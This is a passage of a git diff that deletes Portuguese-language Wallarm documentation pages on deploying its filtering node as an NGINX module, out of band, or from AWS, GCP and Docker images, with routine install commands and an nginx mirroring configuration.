o módulo pós-análise. Se a chave não for usada, as partes de filtragem e pós-análise são instaladas juntas. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/nginx/dynamic-module-from-distr.md b/docs/latest-pt-BR/installation/nginx/dynamic-module-from-distr.md deleted file mode 100644 index f491aba183..0000000000 --- a/docs/latest-pt-BR/installation/nginx/dynamic-module-from-distr.md +++ /dev/null @@ -1,103 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../custom/custom-nginx-version.md -[node-token]: ../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[inline-docs]: ../inline/overview.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png - -# Instalando como um Módulo Dinâmico para NGINX fornecido pela distribuição - -Essas instruções descrevem os passos para instalar o nó de filtragem do Wallarm como um módulo dinâmico para a versão de código aberto do NGINX instalada a partir dos repositórios Debian/CentOS. - -!!! info "Instalação completa" - A partir do nó Wallarm 4.6, recomenda-se o uso da [instalação completa](all-in-one.md) que automatiza todas as atividades listadas nos passos abaixo e facilita muito a implementação do nó. - -O NGINX Open Source pode ser obtido do nginx.org ou dos repositórios padrão do Debian/CentOS, dependendo das suas necessidades, preferências de versão do NGINX e políticas de gerenciamento de repositório. O Wallarm fornece pacotes tanto para [nginx.org](dynamic-module.md) como para versões fornecidas pela distribuição. Este guia foca no NGINX dos repositórios Debian/CentOS. - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/linux-packages/nginx-distro-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/linux-packages/requirements-nginx-distro.md" - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md" - -## 5. Ative o Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis.md" - -## 6. Reiniciar o NGINX - ---8<-- "../include-pt-BR/waf/root_perm_info.md" - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -## 7. Configurar o envio de tráfego para a instância do Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 8. Testar a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## 9. Ajustar a solução implantada - -O módulo dinâmico Wallarm com configurações padrão é instalado para o NGINX `estável`. O nó de filtragem pode necessitar de alguma configuração adicional após a implantação. - -As configurações do Wallarm são definidas usando as [diretivas NGINX](../../admin-en/configure-parameters-en.md) ou a interface do usuário do Console Wallarm. As diretivas devem ser definidas nos seguintes arquivos na máquina com o nó Wallarm: - -* `/etc/nginx/conf.d/default.conf` com configurações do NGINX -* `/etc/nginx/conf.d/wallarm.conf` com configurações globais do nó de filtragem - - Este arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar configurações diferentes para diferentes grupos de domínio, usa-se o arquivo `default.conf` ou criar novos arquivos de configuração para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Mais informações detalhadas sobre os arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com configurações de monitoramento do nó Wallarm. A descrição detalhada está disponível no [link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as configurações do banco de dados Tarantool - -Abaixo estão algumas das configurações típicas que você pode aplicar, se necessário: - -* [Configuração do modo de filtração][waf-mode-instr] - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-customization-options.md" - -* [Configurando a resolução dinâmica de DNS no NGINX][dynamic-dns-resolution-nginx] \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/nginx/dynamic-module.md b/docs/latest-pt-BR/installation/nginx/dynamic-module.md deleted file mode 100644 index 3b78fb47f5..0000000000 --- a/docs/latest-pt-BR/installation/nginx/dynamic-module.md +++ /dev/null @@ -1,88 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../custom/custom-nginx-version.md -[node-token]: ../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[inline-docs]: ../inline/overview.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png - -# Instalando como um Módulo Dinâmico para o NGINX Estável - -Estas instruções descrevem as etapas para instalar o nó de filtragem Wallarm como um módulo dinâmico para a versão de código aberto do NGINX `estável` que foi instalado a partir do repositório da NGINX. - -!!! info "Instalação completa" - A partir do nó Wallarm 4.6, é recomendado utilizar a [instalação completa](all-in-one.md) que automatiza todas as atividades listadas nas etapas abaixo e facilita muito a implantação do nó. - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/linux-packages/nginx-stable-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/linux-packages/requirements-nginx-stable.md" - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md" - -## 6. Habilitar o Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis.md" - -## 7. Reiniciar o NGINX - ---8<-- "../include-pt-BR/waf/root_perm_info.md" - ---8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - -## 8. Configurar o envio de tráfego para a instância Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 9. Testar a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## 10. Ajustar a solução implantada - -O módulo dinâmico Wallarm com definições padrão está instalado para o NGINX `estável`. O nó de filtragem pode necessitar de algumas configurações adicionais após a implantação. - -As definições do Wallarm são definidas utilizando as [diretivas de NGINX](../../admin-en/configure-parameters-en.md) ou o UI do Console Wallarm. As diretivas devem ser definidas nos seguintes arquivos na máquina com o nó Wallarm: - -* `/etc/nginx/conf.d/default.conf` com as definições de NGINX -* `/etc/nginx/conf.d/wallarm.conf` com definições globais do nó de filtragem - - O arquivo é usado para definições aplicadas a todos os domínios. Para aplicar definições diferentes a grupos de domínios diferentes, use o arquivo `default.conf` ou crie novos arquivos de configuração para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Informações mais detalhadas sobre arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com definições de monitoramento do nó Wallarm. A descrição detalhada está disponível no [link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as definições do banco de dados Tarantool - -Abaixo estão algumas das definições típicas que você pode aplicar, se necessário: - -* [Configuração do modo de filtragem][waf-mode-instr] - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-customization-options.md" - -* [Configuração da resolução DNS dinâmico no NGINX][dynamic-dns-resolution-nginx] diff --git a/docs/latest-pt-BR/installation/oob/overview.md b/docs/latest-pt-BR/installation/oob/overview.md deleted file mode 100644 index cbf157b09f..0000000000 --- a/docs/latest-pt-BR/installation/oob/overview.md +++ /dev/null @@ -1,41 +0,0 @@ -# Visão geral da implantação fora da banda do Wallarm - -O Wallarm pode ser implantado como uma solução de segurança fora da banda (OOB), inspecionando solicitações por meio de um espelho do tráfego. Este artigo explica a abordagem em detalhes. - -A abordagem OOB envolve a colocação da solução Wallarm em um segmento de rede separado, onde pode inspecionar o tráfego de entrada sem afetar o caminho de dados principal e, portanto, o desempenho do aplicativo. Todas as solicitações de entrada, incluindo as maliciosas, chegam aos servidores para os quais foram destinadas. - -## Casos de uso - -O espelhamento de tráfego é um componente chave da abordagem OOB. Uma cópia (espelho) do tráfego de entrada é enviada para a solução OOB do Wallarm, que opera na cópia, e não no tráfego real. - -Como a solução OOB apenas registra atividades maliciosas, mas não as bloqueia, é uma maneira eficaz de implementar a segurança de aplicações web e APIs para organizações com requisitos de proteção em tempo real menos rigorosos. A solução OOB é adequada para os seguintes casos de uso: - -* Obter conhecimento sobre todas as ameaças potenciais que as aplicações web e APIs podem encontrar, sem afetar o desempenho do aplicativo. -* Treinar a solução Wallarm na cópia do tráfego antes de executar o módulo [em linha](../inline/overview.md). -* Capturar registros de segurança para fins de auditoria. O Wallarm oferece [integrações nativas](../../user-guides/settings/integrations/integrations-intro.md) com muitos sistemas SIEM, mensageiros, etc. - -O diagrama abaixo fornece uma representação visual do fluxo geral de tráfego em uma implantação fora da banda do Wallarm. O diagrama pode não capturar todas as possíveis variações de infraestrutura. O espelho de tráfego pode ser gerado em qualquer camada de suporte da infraestrutura e enviado para os nós do Wallarm. Além disso, configurações específicas podem envolver vários balanceamentos de carga e outras configurações de nível de infraestrutura. - -![Esquema OOB](../../images/waf-installation/oob/wallarm-oob-deployment-scheme.png) - -## Vantagens e limitações - -A abordagem OOB para a implantação do Wallarm apresenta várias vantagens sobre outros métodos de implantação, como as implantações em linha: - -* Não apresenta latência ou outros problemas de desempenho que podem ocorrer quando a solução de segurança opera em linha com o caminho de dados principal. -* Oferece flexibilidade e facilidade de implantação, já que a solução pode ser incluída ou removida da rede sem afetar o caminho de dados principal. - -Apesar da segurança da abordagem de implantação OOB, tem algumas limitações: - -* O Wallarm não bloqueia instantaneamente as solicitações maliciosas, pois a análise de tráfego prossegue independentemente do fluxo de tráfego real. - - O Wallarm apenas observa os ataques e fornece a você os [detalhes no console do Wallarm](../../user-guides/events/analyze-attack.md). -* A descoberta de vulnerabilidades usando o método de [detecção passiva](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) não funciona corretamente. A solução determina se uma API é vulnerável ou não com base nas respostas do servidor a solicitações maliciosas típicas das vulnerabilidades que testa. -* A [Descoberta de API do Wallarm](../../api-discovery/overview.md) não explora o inventário de API com base no seu tráfego, pois as respostas do servidor necessárias para a operação do módulo não são espelhadas. -* A [proteção contra a navegação forçada](../../admin-en/configuration-guides/protecting-against-bruteforce.md) não está disponível, pois exige a análise do código de resposta, o que atualmente não é viável. - -## Opções de implantação suportadas - -O Wallarm oferece o opções de implantação fora da banda (OOB) para tráfego espelhado por serviços como NGINX, Envoy, Istio, etc. Eles geralmente oferecem módulos integrados ou recursos para espelhamento de tráfego. - -Caso esteja buscando uma solução de segurança OOB para analisar o tráfego espelhado por tais soluções, consulte a [visão geral da opção de implantação apropriada do Wallarm](web-server-mirroring/overview.md). \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/oob/terraform-module/mirroring-by-web-server.md b/docs/latest-pt-BR/installation/oob/terraform-module/mirroring-by-web-server.md deleted file mode 120000 index 9599d3d962..0000000000 --- a/docs/latest-pt-BR/installation/oob/terraform-module/mirroring-by-web-server.md +++ /dev/null @@ -1 +0,0 @@ -terraform-aws-wallarm/examples/mirror/README.md \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/oob/terraform-module/terraform-aws-wallarm b/docs/latest-pt-BR/installation/oob/terraform-module/terraform-aws-wallarm deleted file mode 160000 index 5d1644de1d..0000000000 --- a/docs/latest-pt-BR/installation/oob/terraform-module/terraform-aws-wallarm +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 5d1644de1d82e8b24d2e76ad8070bffa4867518c diff --git a/docs/latest-pt-BR/installation/oob/web-server-mirroring/aws-ami.md b/docs/latest-pt-BR/installation/oob/web-server-mirroring/aws-ami.md deleted file mode 100644 index a6462e1fd6..0000000000 --- a/docs/latest-pt-BR/installation/oob/web-server-mirroring/aws-ami.md +++ /dev/null @@ -1,60 +0,0 @@ -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[node-token]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../overview.md#advantages-and-limitations -[wallarm-mode]: ../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../images/user-guides/nodes/grouped-nodes.png - -# Implementação do Wallarm OOB a partir da imagem da Amazon - -Este artigo fornece instruções para implantar o [Wallarm OOB](overview.md) na AWS usando a [Imagem oficial de máquina da Amazon (AMI)](https://aws.amazon.com/marketplace/pp/B073VRFXSD). A solução descrita aqui foi projetada para analisar o tráfego espelhado por um servidor web ou proxy. - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md" - -## 6. Permita que o Wallarm analise o tráfego espelhado - ---8<-- "../include-pt-BR/waf/installation/oob/steps-for-mirroring-cloud.md" - -## 7. Reinicie o NGINX - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/restart-nginx.md" - -## 8. Configure seu servidor web ou proxy para espelhar o tráfego no nó Wallarm - -Configure seu servidor web ou proxy (por exemplo, NGINX, Envoy) para espelhar o tráfego de entrada no nó Wallarm. Para detalhes da configuração, recomendamos referir-se à documentação do seu servidor web ou proxy. - -Dentro do [link](overview.md#examples-of-web-server-configuration-for-traffic-mirroring), você encontrará a configuração de exemplo para os servidores web e proxy mais populares (NGINX, Traefik, Envoy). - -## 9. Teste a operação Wallarm - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/test-operation-oob.md" - -## 10. Ajuste fino da solução implantada - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/fine-tuning-options.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/oob/web-server-mirroring/docker-image.md b/docs/latest-pt-BR/installation/oob/web-server-mirroring/docker-image.md deleted file mode 100644 index 2a14c349ef..0000000000 --- a/docs/latest-pt-BR/installation/oob/web-server-mirroring/docker-image.md +++ /dev/null @@ -1,154 +0,0 @@ -[doc-wallarm-mode]: ../../../admin-en/configure-parameters-en.md#wallarm_mode -[doc-config-params]: ../../../admin-en/configure-parameters-en.md -[waf-mode-instr]: ../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../supported-deployment-options.md -[oob-advantages-limitations]: ../overview.md#advantages-and-limitations -[web-server-mirroring-examples]: overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[memory-instr]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[aws-ecs-docs]: ../../cloud-platforms/aws/docker-container.md -[gcp-gce-docs]: ../../cloud-platforms/gcp/docker-container.md -[azure-container-docs]: ../../cloud-platforms/azure/docker-container.md -[alibaba-ecs-docs]: ../../cloud-platforms/alibaba-cloud/docker-container.md - -# Implantando Wallarm OOB a partir da Imagem Docker - -Este artigo fornece instruções para implantar [Wallarm OOB](overview.md) usando a [imagem Docker baseada em NGINX](https://hub.docker.com/r/wallarm/node). A solução descrita aqui é projetada para analisar o tráfego espelhado por um servidor web ou proxy. - ---8<-- "../include-pt-BR/waf/installation/info-about-nginx-version-in-docker-container.md" - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/docker-images/nginx-based-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/requirements-docker-nginx-4.0.md" - -## 1. Configurar espelhamento de tráfego - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-oob.md" - -## 2. Prepare um arquivo de configuração para análise de tráfego espelhado e mais - -Para permitir que os nós Wallarm analisem o tráfego espelhado, você precisa configurar configurações adicionais em um arquivo separado e montá-lo no contêiner Docker. O arquivo de configuração padrão que precisa ser modificado está localizado em `/etc/nginx/sites-enabled/default` dentro da imagem Docker. - -Neste arquivo, você precisa especificar a configuração do nó Wallarm para processar o tráfego espelhado e quaisquer outras configurações necessárias. Siga estas instruções para fazer isso: - -1. Crie o arquivo de configuração local do NGINX denominado `default` com o seguinte conteúdo: - - ``` - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # Change 222.222.222.22 to the address of the mirroring server - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://127.0.0.1:8080; - include proxy_params; - } - } - ``` - - * As diretivas `set_real_ip_from` e `real_ip_header` são necessárias para que o Wallarm Console [exiba os endereços IP dos invasores][proxy-balancer-instr]. - * As diretivas `wallarm_force_response_*` são necessárias para desativar a análise de todas as solicitações, exceto as cópias recebidas do tráfego espelhado. - * A diretiva `wallarm_mode` é o [modo][waf-mode-instr] de análise de tráfego. Como solicitações maliciosas [não][oob-advantages-limitations] podem ser bloqueadas, o único modo aceito pelo Wallarm é o monitoramento. Para implantação em linha, também existem modos de bloqueio seguro e bloqueio, mas mesmo que você defina a diretiva `wallarm_mode` para um valor diferente de monitoramento, o nó continua a monitorar o tráfego e a registrar apenas o tráfego malicioso (além do modo definido para desligado). -1. Especifique quaisquer outras diretivas Wallarm necessárias. Você pode consultar a documentação [Parâmetros de configuração do Wallarm](../../../admin-en/configure-parameters-en.md) e os [casos de uso da configuração](#configuring-the-use-cases) para entender quais configurações seriam úteis para você. -1. Se necessário, modifique outras configurações do NGINX para personalizar seu comportamento. Consulte a [documentação do NGINX](https://nginx.org/en/docs/beginners_guide.html) para obter assistência. - -Você também pode montar outros arquivos nos seguintes diretórios de contêineres, se necessário: - -* `/etc/nginx/conf.d` — configurações comuns -* `/etc/nginx/sites-enabled` — configurações de host virtual -* `/var/www/html` — arquivos estáticos - -## 3. Obtenha um token para conectar o nó à nuvem - -Obtenha o token Wallarm do [tipo apropriado][wallarm-token-types]: - -=== "Token API" - - 1. Abra Wallarm Console → **Configurações** → **Tokens da API** no [Nuvem dos EUA](https://us1.my.wallarm.com/settings/api-tokens) ou [Nuvem da UE](https://my.wallarm.com/settings/api-tokens). - 1. Encontre ou crie um token API com a função de fonte `Implantar`. - 1. Copie este token. - -=== "Token de nó" - - 1. Abra Wallarm Console → **Nós** na [US Cloud](https://us1.my.wallarm.com/nodes) or [EU Cloud](https://my.wallarm.com/nodes). - 1. Faça uma das seguintes ações: - * Crie o nó do tipo **Nó Wallarm** e copie o token gerado. - * Use o grupo de nós existente - copie o token usando o menu do nó → **Copiar token**. - -## 4. Execute o contêiner Docker com o nó - -Execute o contêiner Docker com o nó [montando](https://docs.docker.com/storage/volumes/) o arquivo de configuração que você acabou de criar. - -=== "Nuvem dos EUA" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_API_HOST='us1.api.wallarm.com' -v /configs/default:/etc/nginx/sites-enabled/default -p 80:80 wallarm/node:4.8.0-1 - ``` -=== "Nuvem da UE" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -v /configs/default:/etc/nginx/sites-enabled/default -p 80:80 wallarm/node:4.8.0-1 - ``` - -As seguintes variáveis de ambiente devem ser passadas para o contêiner: - ---8<-- "../include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-latest.md" - -## 5. Testando a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## Configuração de log - -O log está ativado por padrão. Os diretórios de log são: - -* `/var/log/nginx` — Logs do NGINX -* `/var/log/wallarm` — Logs do nó Wallarm - -Para configurar o log estendido das variáveis do nó de filtragem, use estas [instruções](../../../admin-en/configure-logging.md). - -Por padrão, os logs rotacionam uma vez a cada 24 horas. Para configurar a rotação do log, altere os arquivos de configuração em `/etc/logrotate.d/`. Alterar os parâmetros de rotação por meio de variáveis de ambiente não é possível. - -## Configurando os casos de uso - -O arquivo de configuração montado no contêiner Docker deve descrever a configuração do nó de filtragem nas [diretivas disponíveis](../../../admin-en/configure-parameters-en.md). Abaixo estão algumas opções de configuração do nó de filtragem comumente usadas: - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-customization-options.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/oob/web-server-mirroring/gcp-machine-image.md b/docs/latest-pt-BR/installation/oob/web-server-mirroring/gcp-machine-image.md deleted file mode 100644 index 0e65d4e86e..0000000000 --- a/docs/latest-pt-BR/installation/oob/web-server-mirroring/gcp-machine-image.md +++ /dev/null @@ -1,55 +0,0 @@ -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[node-token]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../overview.md#advantages-and-limitations -[wallarm-mode]: ../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../images/user-guides/nodes/grouped-nodes.png - -# Implantando Wallarm OOB a partir da Imagem de Máquina GCP - -Este artigo fornece instruções para implantar o [Wallarm OOB](overview.md) na Google Cloud Platform usando a [Imagem de Máquina oficial](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node). A solução descrita aqui é projetada para analisar o tráfego espelhado por um servidor web ou proxy. - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md" - -## 5. Ative o Wallarm para analisar o tráfego espelhado - ---8<-- "../include-pt-BR/waf/installation/oob/steps-for-mirroring-cloud.md" - -## 6. Reinicie o NGINX - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/restart-nginx.md" - -## 7. Configure seu servidor web ou proxy para espelhar o tráfego para o nó Wallarm - -Configure seu servidor web ou servidor (por exemplo, NGINX, Envoy) para espelhar o tráfego de entrada para o nó Wallarm. Para detalhes de configuração, recomendamos consultar a documentação do seu servidor web ou proxy. - -Dentro do [link](overview.md#examples-of-web-server-configuration-for-traffic-mirroring), você encontrará a configuração exemplo para os servidores web e proxy mais populares (NGINX, Traefik, Envoy). - -## 8. Teste a operação do Wallarm - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/test-operation-oob.md" - -## 9. Ajuste fino da solução implantada - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/fine-tuning-options.md" \ No newline at end of file diff --git 